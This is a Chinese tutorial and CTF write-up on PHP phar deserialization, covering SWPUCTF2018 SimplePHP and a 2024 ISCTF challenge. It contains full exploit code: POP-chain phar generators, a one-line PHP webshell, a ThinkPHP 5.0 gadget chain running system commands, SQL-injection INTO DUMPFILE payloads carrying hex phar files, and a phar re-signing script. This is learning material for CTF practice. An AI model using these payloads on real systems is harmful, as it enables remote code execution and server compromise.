0%

php|phar反序列化

前言:

之前有做过一题,但是那时候做的时候是照着wp搬payload并不理解,这一次2024isctf也碰到了一题需要利用到phar反序列化的,所以系统性的学习一下。

一、phar文件

定义

phar(PHP Archive)文件是一种用于PHP应用程序的归档格式。它类似于Java的JAR文件,允许将多个PHP文件、库和其他资源打包成一个单独的文件。phar文件的主要优点是简化了PHP应用程序的分发和部署,因为所有必需的文件都可以打包在一起。(更新中)

文件结构

Stub :Phar 的文件头。格式<?php xxx: __HALT_COMPILER();?>必须要以__HALT_COMPILER();?>结尾,否则phar扩展将无法识别这个文件为phar文件。

manifest:用于存放文件的属性、权限等信息。反序列化的攻击点,这里以序列化的方式存储了用户自定义的meta-data。

contents:存放文件内容。

signature:签名。

phar文件生成

要创建自己的 Phar 文件的时候,需要进入 php.ini 设置 phar.readonly = Off

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class test{
public $name="TGlu";
function __destruct()
{
echo $this->name;
}
}
$a = new test();
$a->name="phpinfo();";
$phartest=new phar('test.phar',0); //创建时后缀名必须为phar 上传文件的时候可以修改后缀 bypass
$phartest->startBuffering(); //设置缓冲去,准备 Phar 的写操作
$phartest->setMetadata($a);//将自定义的 Meta-data 存入manifest
$phartest->setStub("<?php __HALT_COMPILER();?>");//设置stub
$phartest->addFromString("test.txt","test");//添加要压缩的文件以及文件的内容
$phartest->stopBuffering();//停止缓冲对 Phar 归档的写入请求,并将更改保存到磁盘
?>

运行,可以发现文件已经生成成功

可以看到我们自定义的序列化字符串

1
O:4:"test":1:{s:4:"name";s:10:"phpinfo();";}

二、漏洞利用

PHP 大部分的文件系统函数在通过 phar://伪协议解析 phar 文件时,都会将meta-data进行反序列化操作。

可利用的函数
fileatime filectime file_exists file_get_contents
file_put_contents file filegroup fopen
fileinode filemtime fileowner fileperms
is_dir is_executable is_file is_link
is_readable is_writable is_writeable parse_ini_file
copy unlink stat readfile
include require

写一段简单的文件读取脚本

1
2
3
4
5
6
<?php
$file = $_GET['file'];

$content = include($file);
echo $content;
?>

将上面生成phar文件的脚本放入网站中运行生成test.phar

phar://读取,可以看到成功触发了反序列化

如果将test.txt改为一句话木马文件

1
2
3
4
5
6
7
8
9
10
11
<?php
class test{
public $name="TGlu";
}
$phartest=new phar('test.phar',0);
$phartest->startBuffering();
$phartest->setMetadata($a);
$phartest->setStub("<?php __HALT_COMPILER();?>");
$phartest->addFromString("test.php",'<?php @eval($_POST["cmd"]);?>');
$phartest->stopBuffering();
?>

再次用phar读取并传入参数

三、例题

SWPUCTF2018 SimplePHP

进入题目有两个功能点一个文件读取一个文件上传

读取index.php、base.php、file.php、upload_file.php等一系列文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//file.php
<?php
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
ini_set('open_basedir','/var/www/html/');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
echo "<h2>There is no file to show!<h2/>";
}
$show = new Show();
if(file_exists($file)) {
$show->source = $file;
$show->_show();
} else if (!empty($file)){
die('file doesn\'t exists.');
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
//function
<?php
//show_source(__FILE__);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
function upload_file_do() {
global $_FILES;
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
//mkdir("upload",0777);
if(file_exists("upload/" . $filename)) {
unlink($filename);
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
echo '<script type="text/javascript">alert("上传成功!");</script>';
}
function upload_file() {
global $_FILES;
if(upload_file_check()) {
upload_file_do();
}
}
function upload_file_check() {
global $_FILES;
$allowed_types = array("gif","jpeg","jpg","png");
$temp = explode(".",$_FILES["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
//echo "<h4>请选择上传的文件:" . "<h4/>";
}
else{
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo '<script type="text/javascript">alert("Invalid file!");</script>';
return false;
}
}
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
//class.php
<?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}

class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}

}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>

可以发现file.php是读取文件的功能,function.php规定了文件上传的路径和上传文件的类型只能是图片

而class.php可以看出是一个反序列化漏洞的利用点但是没有unserialize()函数,但是我们可以利用file.php里的file_exists进行phar反序列化。根据base.php中的注释flag is in f1ag.php,说明我们要读取f1ag.php文件。再审计一下class.php,可以发现Show类里的__show()里有一个highlight_file(),但是f1ag被禁用了。在Test类里的file_get()里可以发现有一个file_get_contents,可以利用这个读取到f1ag.php。

分析一下php反序列化的部分,要想触发file_get_contents需要触发file_get方法,要触发file_get()需要触发get(),要触发get()需要触发__get(),要触发__get()需要调用Test类中不存在的属性。这里我们可以发现Show类里的__toString()有一个 $content = $this->str['str']->source;那么我们可以通过将Test类实例化后赋值给str即可调用不存在的属性sourse。要触发__toString()就需要将对象当做一个字符串来使用,利用C1e4r类里的__destruct()里的$this->test = $this->str;echo $this->test;可以实现,我们只需要将Show类实例化后的对象赋值给str即可触发__toString()

分析完毕开始构造exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
<?php
class C1e4r
{
public $test;
public $str;
// public function __construct($name)
// {
// $this->str = $name;
// }
// public function __destruct()
// {
// $this->test = $this->str;
// echo $this->test;
// }
}

class Show
{
public $source;
public $str;
// public function __construct($file)
// {
// $this->source = $file; //$this->source = phar://phar.jpg
// echo $this->source;
// }
// public function __toString()
// {
// $content = $this->str['str']->source;
// return $content;
// }
// public function __set($key,$value)
// {
// $this->$key = $value;
// }
// public function _show()
// {
// if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
// die('hacker!');
// } else {
// highlight_file($this->source);
// }
//
// }
// public function __wakeup()
// {
// if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
// echo "hacker~";
// $this->source = "index.php";
// }
// }
}
class Test
{
public $file;
public $params;
// public function __construct()
// {
// $this->params = array();
// }
// public function __get($key)
// {
// return $this->get($key);
// }
// public function get($key)
// {
// if(isset($this->params[$key])) {
// $value = $this->params[$key];
// } else {
// $value = "index.php";
// }
// return $this->file_get($value);
// }
// public function file_get($value)
// {
// $text = base64_encode(file_get_contents($value));
// return $text;
// }
}
$c=new C1e4r();
$s=new Show();
$t=new Test();
$c->str= $s;
$s->str['str']=$t;
$t->params['source']="/var/www/html/f1ag.php";

$phar=new phar('test.phar',0);
$phar->startBuffering();
$phar->setMetadata($c);
$phar->setStub("<?php __HALT_COMPILER();?>");
$phar->addFromString("test.txt",'test');
$phar->stopBuffering();
?>

生成完phar文件后改为jpg文件上传

根据function.php里的可以得知上传的路径为upload访问即可查看上传的文件名

得到文件名后用phar://读取

得到f1ag.php内容用base64解码后即可得到flag

2024isctf 小蓝鲨的书店

用dirsearch扫描一下网站目录可以得到源码www.zip

打开后很明显能看出是thinkphp框架,包括在web端报错的时候也显示ThinkPHP V5.0.23

先审计源码,从index.php出发找到网站的入口目录/public

打开查看还是有一个入口文件index.php,找到应用目录/application

先测试一下网站主页的查询功能点(可能是sql注入)

没有任何waf,用sqlmap跑一下直接就跑出来了

但是没有在数据库里发现flag

审计一下应用目录看看有没有别的漏洞点

1
2
3
4
5
6
7
8
9
10
11
12
13
//File.php
public function getBase64EncodedContent($filePath)
{
if (preg_match('/zip/i', $filePath)) {
return null;
}
if (file_exists($filePath)) {
$data = file_get_contents($filePath);
$data = base64_encode($data);
return $data;
}
return null;
}

可以发现file_get_contents可能存在任意文件读取(在比赛的时候有非预期可以直接读取flag文件,被修复了),除了任意文件读取我们还可以考虑phar反序列化。

搜索一下thinkphp5.0反序列化即可得到exp,ThinkPHP5反序列化利用链总结与分析

在此基础上我们修改为生成phar文件的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
<?php
namespace think\process\pipes {
use think\model\Pivot;
ini_set('display_errors', 1);
class Windows {
private $files = [];
public function __construct($function, $parameter) {
$this->files = [new Pivot($function, $parameter)];
}
}
$aaa = new Windows('system', 'whoami');
}

namespace think {
abstract class Model {}
}

namespace think\model {
use think\Model;
use think\console\Output;
class Pivot extends Model {
protected $append = [];
protected $error;
public $parent;
public function __construct($function, $parameter) {
$this->append['jelly'] = 'getError';
$this->error = new relation\BelongsTo($function, $parameter);
$this->parent = new Output($function, $parameter);
}
}
abstract class Relation {}
}

namespace think\model\relation {
use think\db\Query;
use think\model\Relation;
abstract class OneToOne extends Relation {}
class BelongsTo extends OneToOne {
protected $selfRelation;
protected $query;
protected $bindAttr = [];
public function __construct($function, $parameter) {
$this->selfRelation = false;
$this->query = new Query($function, $parameter);
$this->bindAttr = [''];
}
}
}

namespace think\db {
use think\console\Output;
class Query {
protected $model;
public function __construct($function, $parameter) {
$this->model = new Output($function, $parameter);
}
}
}

namespace think\console {
use think\session\driver\Memcache;
class Output {
protected $styles = [];
private $handle;
public function __construct($function, $parameter) {
$this->styles = ['getAttr'];
$this->handle = new Memcache($function, $parameter);
}
}
}

namespace think\session\driver {
use think\cache\driver\Memcached;
class Memcache {
protected $handler = null;
protected $config = [
'expire' => '',
'session_name' => '',
];
public function __construct($function, $parameter) {
$this->handler = new Memcached($function, $parameter);
}
}
}

namespace think\cache\driver {
use think\Request;
class Memcached {
protected $handler;
protected $options = [];
protected $tag;
public function __construct($function, $parameter) {
$this->options = ['prefix' => 'jelly/'];
$this->tag = true;
$this->handler = new Request($function, $parameter);
}
}
}

namespace think {
class Request {
protected $get = [];
protected $filter;
public function __construct($function, $parameter) {
$this->filter = $function;
$this->get = ["jelly" => $parameter];
}
}
}

namespace a {
// 引用全局命名空间中的 Phar 类
use Phar;
$phar = new Phar('test1.phar', 0);
$phar->startBuffering();
$phar->setMetadata($aaa);
$phar->setStub("<?php __HALT_COMPILER();?>");
$phar->addFromString("test.txt", 'test');
$phar->stopBuffering();
}
?>

运行后可以看到生成成功了

但是我们可以发现网站中并没有文件上传的地方,那要怎么在网站中生成这个phar文件呢?

前面提到了有一个sql注入的漏洞点,我们可以通过sql写入文件。

先获取允许导入和导出操作的目录

1
2
0 union select 1,@@global.secure_file_priv,2,3
//secure_file_priv:MySQL数据库的全局变量

可以发现允许导入和导出的目录为/var/lib/mysql-files/,说明后续我们就是要将文件写入到这个目录中。

先在本地服务器测试一下写入后的样式(之前在打awd用sql写不死马的时候发现写入的代码格式有问题)

INTO DUMPFILE :用于将单个字段的查询结果导出到一个文件中。导出的文件是一个二进制文件,不包含任何分隔符或行终止符。

INTO OUTFILE :用于将查询结果导出到一个文件中,导出的文件是一个文本文件,可以包含分隔符和行终止符。

由于我们的phar文件是一个二进制的格式所以用INTO DUMPFILE来写入。

开始测试

先在我们服务器设置一个允许导入和导出操作的目录

修改后重启mysql服务,在navicat上查看secure_file_priv

1
SELECT @@global.secure_file_priv;

可以看到设置成功,开始写入

先将我们刚刚生成的test1.phar文件拖到cyberchef里继续hex加密

将数据库赋权

再将目录赋权为777

再将表中列的类型改为可以存储二进制的varbinary

此时就可以写入成功了

1
SELECT * FROM `test` where id=0 UNION SELECT 0x0,   0x3c3f706870205f5f48414c545f434f4d50494c455228293b203f3e0d0a320500000100000011000000010000000000fc0400004f3a32373a227468696e6b5c70726f636573735c70697065735c57696e646f7773223a313a7b733a33343a22007468696e6b5c70726f636573735c70697065735c57696e646f77730066696c6573223b613a313a7b693a303b4f3a31373a227468696e6b5c6d6f64656c5c5069766f74223a333a7b733a393a22002a00617070656e64223b613a313a7b733a353a226a656c6c79223b733a383a226765744572726f72223b7d733a383a22002a006572726f72223b4f3a33303a227468696e6b5c6d6f64656c5c72656c6174696f6e5c42656c6f6e6773546f223a333a7b733a31353a22002a0073656c6652656c6174696f6e223b623a303b733a383a22002a007175657279223b4f3a31343a227468696e6b5c64625c5175657279223a313a7b733a383a22002a006d6f64656c223b4f3a32303a227468696e6b5c636f6e736f6c655c4f7574707574223a323a7b733a393a22002a007374796c6573223b613a313a7b693a303b733a373a2267657441747472223b7d733a32383a22007468696e6b5c636f6e736f6c655c4f75747075740068616e646c65223b4f3a32393a227468696e6b5c73657373696f6e5c6472697665725c4d656d6361636865223a323a7b733a31303a22002a0068616e646c6572223b4f3a32383a227468696e6b5c63616368655c6472697665725c4d656d636163686564223a333a7b733a31303a22002a0068616e646c6572223b4f3a31333a227468696e6b5c52657175657374223a323a7b733a363a22002a00676574223b613a313a7b733a353a226a656c6c79223b733a363a2277686f616d69223b7d733a393a22002a0066696c746572223b733a363a2273797374656d223b7d733a31303a22002a006f7074696f6e73223b613a313a7b733a363a22707265666978223b733a363a226a656c6c792f223b7d733a363a22002a00746167223b623a313b7d733a393a22002a00636f6e666967223b613a323a7b733a363a22657870697265223b733a303a22223b733a31323a2273657373696f6e5f6e616d65223b733a303a22223b7d7d7d7d733a31313a22002a0062696e6441747472223b613a313a7b693a303b733a303a22223b7d7d733a363a22706172656e74223b4f3a32303a227468696e6b5c636f6e736f6c655c4f7574707574223a323a7b733a393a22002a007374796c6573223b613a313a7b693a303b733a373a2267657441747472223b7d733a32383a22007468696e6b5c636f6e736f6c655c4f75747075740068616e646c65223b4f3a32393a227468696e6b5c73657373696f6e5c6472697665725c4d656d6361636865223a323a7b733a31303a22002a0068616e646c6572223b4f3a32383a227468696e6b5c63616368655c6472697665725c4d656d636163686564223a333a7b733a31303a22002a0068616e646c6572223b4f3a31333a227468696e6b5c52657175657374223a323a7b733a363a22002a00676574223b613a313a7b733a353a226a656c6c79223b733a363a2277686f616d69223b7d733a393a22002a0066696c746572223b733a363a2273797374656d223b7d733a31303a22002a006f7074696f6e73223b613a313a7b733a363a22707265666978223b733a363a226a656c6c792f223b7d733a363a22002a00746167223b623a313b7d733a393a22002a00636f6e666967223b613a323a7b733a363a22657870697265223b733a303a22223b733a31323a2273657373696f6e5f6e616d65223b733a303a22223b7d7d7d7d7d7d08000000746573742e7478740400000066527967040000000c7e7fd8b60100000000000074657374845087f45f38bf124acf8b9924e715eeea4662658bc997e241d059196e00ab7b0300000047424d42 INTO DUMPFILE "/home/www/phar/test2.phar";

0x0 :通常用于填充查询结果的列,以确保 UNION SELECT 语句的列数与原始查询的列数匹配。

打开写入后的文件将其加密为hex,我们会发现与之前的相比前面多了00

内容发生变化导致签名失效了,所以这时候我们写入进去的phar文件没法执行序列化。

所以我们需要重新生成一个签名,构造出一个包含了00的新签名

对前⾯部分的数据进⾏sha1计算得到签名值,替换⽣成新的⽂件内容再去写⼊

这里就直接用wp里的exp来生成

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from hashlib import sha1

#写⼊后发⽣改变的phar
with open('test2.phar', 'rb') as file1:
f1 = file1.read()

s = f1[:-28] # 获取要签名的数据
h = f1[-8:] # 获取签名类型以及GBMB标识

#原phar
with open('test1.phar', 'rb') as file2:
f2 = file2.read()

data = f2[:-28] # 获取要签名的数据
newf = data + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)

with open('test3.phar', 'wb') as file3:
f3 = file3.write(newf)

回到原题

测列数(或者上面用sqlmap跑出来直接就能看到了),有四列

1
1 group by 4

构造出payload

由于我们之前测试的时候是两列,所以需要重新生成跟题目环境一样四列的新签名的phar文件(做到后面才发现列数不对应签名也不一样,只能重新弄一遍,艹蛋了)

1
0 union select 0x0,0x0,0x0,0x3c3f706870205f5f48414c545f434f4d50494c455228293b203f3e0d0a320500000100000011000000010000000000fc0400004f3a32373a227468696e6b5c70726f636573735c70697065735c57696e646f7773223a313a7b733a33343a22007468696e6b5c70726f636573735c70697065735c57696e646f77730066696c6573223b613a313a7b693a303b4f3a31373a227468696e6b5c6d6f64656c5c5069766f74223a333a7b733a393a22002a00617070656e64223b613a313a7b733a353a226a656c6c79223b733a383a226765744572726f72223b7d733a383a22002a006572726f72223b4f3a33303a227468696e6b5c6d6f64656c5c72656c6174696f6e5c42656c6f6e6773546f223a333a7b733a31353a22002a0073656c6652656c6174696f6e223b623a303b733a383a22002a007175657279223b4f3a31343a227468696e6b5c64625c5175657279223a313a7b733a383a22002a006d6f64656c223b4f3a32303a227468696e6b5c636f6e736f6c655c4f7574707574223a323a7b733a393a22002a007374796c6573223b613a313a7b693a303b733a373a2267657441747472223b7d733a32383a22007468696e6b5c636f6e736f6c655c4f75747075740068616e646c65223b4f3a32393a227468696e6b5c73657373696f6e5c6472697665725c4d656d6361636865223a323a7b733a31303a22002a0068616e646c6572223b4f3a32383a227468696e6b5c63616368655c6472697665725c4d656d636163686564223a333a7b733a31303a22002a0068616e646c6572223b4f3a31333a227468696e6b5c52657175657374223a323a7b733a363a22002a00676574223b613a313a7b733a353a226a656c6c79223b733a363a2277686f616d69223b7d733a393a22002a0066696c746572223b733a363a2273797374656d223b7d733a31303a22002a006f7074696f6e73223b613a313a7b733a363a22707265666978223b733a363a226a656c6c792f223b7d733a363a22002a00746167223b623a313b7d733a393a22002a00636f6e666967223b613a323a7b733a363a22657870697265223b733a303a22223b733a31323a2273657373696f6e5f6e616d65223b733a303a22223b7d7d7d7d733a31313a22002a0062696e6441747472223b613a313a7b693a303b733a303a22223b7d7d733a363a22706172656e74223b4f3a32303a227468696e6b5c636f6e736f6c655c4f7574707574223a323a7b733a393a22002a007374796c6573223b613a313a7b693a303b733a373a2267657441747472223b7d733a32383a22007468696e6b5c636f6e736f6c655c4f75747075740068616e646c65223b4f3a32393a227468696e6b5c73657373696f6e5c6472697665725c4d656d6361636865223a323a7b733a31303a22002a0068616e646c6572223b4f3a32383a227468696e6b5c63616368655c6472697665725c4d656d636163686564223a333a7b733a31303a22002a0068616e646c6572223b4f3a31333a227468696e6b5c52657175657374223a323a7b733a363a22002a00676574223b613a313a7b733a353a226a656c6c79223b733a363a2277686f616d69223b7d733a393a22002a0066696c746572223b733a363a2273797374656d223b7d733a31303a22002a006f7074696f6e73223b613a313a7b733a363a22707265666978223b733a363a226a656c6c792f223b7d733a363a22002a00746167223b623a313b7d733a393a22002a00636f6e666967223b613a323a7b733a363a22657870697265223b733a303a22223b733a31323a2273657373696f6e5f6e616d65223b733a303a22223b7d7d7d7d7d7d08000000746573742e7478740400000039b83167040000000c7e7fd8b601000000000000746573747b9bee7fa591b510d73229d47eef257df9b7cc740200000047424d42 into dumpfile "/var/lib/mysql-files/test.phar"

虽然报错了但是phar文件已经写入进去了

bp抓包捐书的界面,更改文件路径为phar⽂件路径

此时查询即可执行成功

后续更改命令再次写入即可得到flag

1
0 union select 0x0,0x0,0x0,0x3c3f706870205f5f48414c545f434f4d50494c455228293b203f3e0d0a580500000100000011000000010000000000220500004f3a32373a227468696e6b5c70726f636573735c70697065735c57696e646f7773223a313a7b733a33343a22007468696e6b5c70726f636573735c70697065735c57696e646f77730066696c6573223b613a313a7b693a303b4f3a31373a227468696e6b5c6d6f64656c5c5069766f74223a333a7b733a393a22002a00617070656e64223b613a313a7b733a353a226a656c6c79223b733a383a226765744572726f72223b7d733a383a22002a006572726f72223b4f3a33303a227468696e6b5c6d6f64656c5c72656c6174696f6e5c42656c6f6e6773546f223a333a7b733a31353a22002a0073656c6652656c6174696f6e223b623a303b733a383a22002a007175657279223b4f3a31343a227468696e6b5c64625c5175657279223a313a7b733a383a22002a006d6f64656c223b4f3a32303a227468696e6b5c636f6e736f6c655c4f7574707574223a323a7b733a393a22002a007374796c6573223b613a313a7b693a303b733a373a2267657441747472223b7d733a32383a22007468696e6b5c636f6e736f6c655c4f75747075740068616e646c65223b4f3a32393a227468696e6b5c73657373696f6e5c6472697665725c4d656d6361636865223a323a7b733a31303a22002a0068616e646c6572223b4f3a32383a227468696e6b5c63616368655c6472697665725c4d656d636163686564223a333a7b733a31303a22002a0068616e646c6572223b4f3a31333a227468696e6b5c52657175657374223a323a7b733a363a22002a00676574223b613a313a7b733a353a226a656c6c79223b733a32343a22636174202f747474747474747474747073716c5f666c6167223b7d733a393a22002a0066696c746572223b733a363a2273797374656d223b7d733a31303a22002a006f7074696f6e73223b613a313a7b733a363a22707265666978223b733a363a226a656c6c792f223b7d733a363a22002a00746167223b623a313b7d733a393a22002a00636f6e666967223b613a323a7b733a363a22657870697265223b733a303a22223b733a31323a2273657373696f6e5f6e616d65223b733a303a22223b7d7d7d7d733a31313a22002a0062696e6441747472223b613a313a7b693a303b733a303a22223b7d7d733a363a22706172656e74223b4f3a32303a227468696e6b5c636f6e736f6c655c4f7574707574223a323a7b733a393a22002a007374796c6573223b613a313a7b693a303b733a373a2267657441747472223b7d733a32383a22007468696e6b5c636f6e736f6c655c4f75747075740068616e646c65223b4f3a32393a227468696e6b5c73657373696f6e5c6472697665725c4d656d6361636865223a323a7b733a31303a22002a0068616e646c6572223b4f3a32383a227468696e6b5c63616368655c6472697665725c4d656d636163686564223a333a7b733a31303a22002a0068616e646c6572223b4f3a31333a227468696e6b5c52657175657374223a323a7b733a363a22002a00676574223b613a313a7b733a353a226a656c6c79223b733a32343a22636174202f747474747474747474747073716c5f666c6167223b7d733a393a22002a0066696c746572223b733a363a2273797374656d223b7d733a31303a22002a006f7074696f6e73223b613a313a7b733a363a22707265666978223b733a363a226a656c6c792f223b7d733a363a22002a00746167223b623a313b7d733a393a22002a00636f6e666967223b613a323a7b733a363a22657870697265223b733a303a22223b733a31323a2273657373696f6e5f6e616d65223b733a303a22223b7d7d7d7d7d7d08000000746573742e7478740400000016655867040000000c7e7fd8b601000000000000746573743ed759b3382557cc0f8c89cb27edad3ffa41b5740200000047424d42 into dumpfile "/var/lib/mysql-files/test2.phar"

四、参考资料

https://xz.aliyun.com/t/11782?time__1311=Cq0xRieiqmwxlxGgx%2BODIxWupex9j0QAWoD#toc-1

https://xz.aliyun.com/t/3692?time__1311=n4%2Bxnii%3DoGqqy0bD%2FD0QoN0Qo%3DL47uuqit174D

https://www.freebuf.com/vuls/317886.html